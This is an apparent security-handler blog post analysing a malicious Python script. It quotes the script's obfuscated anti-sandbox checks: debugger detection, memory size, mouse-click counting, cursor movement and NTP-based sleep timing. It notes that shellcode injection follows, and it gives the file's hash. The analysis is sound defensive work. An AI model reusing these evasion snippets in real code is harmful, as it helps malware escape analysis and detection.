It has been a while that I did not find an interesting malicious Python script. All the scripts that I recently spotted were always the same: a classic intostealer using Discord as C2 channel. Today I found one that contains a lot of anti-sanboxing techniques. Let's review them. For malware, it's key to detect the environment where they are executed. When detonated inside a sandbox (automatically or, manually, by an Analyst), they will be able to change their behaviour (most likely, do nothing)
Like all scripting languages running in the Windows eco-system, Python can call any Microsoft API call and there are useful to perform check at operating system. Here is what the scripts try to detect:
1. Is the script running inside a debugger?
from ctypes import * XVeGwgv = windll.kernel32.IsDebuggerPresent() if XVeGwgv == 0:
2. Does the host have enough physical memory?
import ctypes class CaMiHTTSf (ctypes.Structure): _fields_ = [ ("dwLength", ctypes.c_ulong), ("dwMemoryLoad", ctypes.c_ulong), ("ullTotalPhys", ctypes.c_ulonglong), ("ullAvailPhys", ctypes.c_ulonglong), ("ullTotalPageFile", ctypes.c_ulonglong), ("ullAvailPageFile", ctypes.c_ulonglong), ("ullTotalVirtual", ctypes.c_ulonglong), ("ullAvailVirtual", ctypes.c_ulonglong), ("sullAvailExtendedVirtual", ctypes.c_ulonglong), ] jJrSHLb = CaMiHTTSf() jJrSHLb.dwLength = ctypes.sizeof(CaMiHTTSf) ctypes.windll.kernel32.GlobalMemoryStatusEx(ctypes.byref(jJrSHLb)) if jJrSHLb.ullTotalPhys/1073741824 > 3:
3. Is there a user behind the keyboard, pressing keys?
import win32api nPnpCRlvJ = 0 CsZoAodMwrnNBW = 100 while nPnpCRlvJ < CsZoAodMwrnNBW: BBpvCYBI = win32api.GetAsyncKeyState(1) RkfbrNjlQLiYMc = win32api.GetAsyncKeyState(2) if BBpvCYBI % 2 == 1: nPnpCRlvJ += 1 if RkfbrNjlQLiYMc % 2 == 1: nPnpCRlvJ += 1 if nPnpCRlvJ >= CsZoAodMwrnNBW:
4. Is the mouse moving?
from time import sleep import win32api dJpkzPW = 30 ESPKUCFSNpN, MNoTiqFAmrJb = win32api.GetCursorPos() sleep(30) sToXQq, nGVNgR = win32api.GetCursorPos() if ESPKUCFSNpN - sToXQq != 0 or MNoTiqFAmrJb - nGVNgR != 0:
5. Is the script spending too much time in a debugger (ex: Python debugger)
from time import sleep from socket import AF_INET, SOCK_DGRAM import sys import datetime import time import socket import struct client = socket.socket(AF_INET, SOCK_DGRAM) client.sendto((bytes.fromhex("1b") + 47 * bytes.fromhex("01")), ("us.pool.ntp.org",123)) msg, address = client.recvfrom( 1024 ) BsaylVZq = datetime.datetime.fromtimestamp(struct.unpack("!12I",msg)[10] - 2208988800) sleep(100000) client.sendto((bytes.fromhex("1b") + 47 * bytes.fromhex("01")), ("us.pool.ntp.org",123)) msg, address = client.recvfrom( 1024 ) if ((datetime.datetime.fromtimestamp((struct.unpack("!12I",msg)[10] - 2208988800)) - BsaylVZq).seconds >= 100000):
Only if all these checks results are negative, then the Python will perform the malicious actions and inject a shellcode in memory...
Note that this script remains simple. They are plenty of sandbox-evasion techniques available[1].
The script (SHA256:a6eac5716bce341f14569d69fcac4f449e9c0f1e97adeb9cb4d02dc82962a30a) has a VT score of 12/61[2].
[1] https://evasions.checkpoint.com
[2] https://www.virustotal.com/gui/file/a6eac5716bce341f14569d69fcac4f449e9c0f1e97adeb9cb4d02dc82962a30a/detection
Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key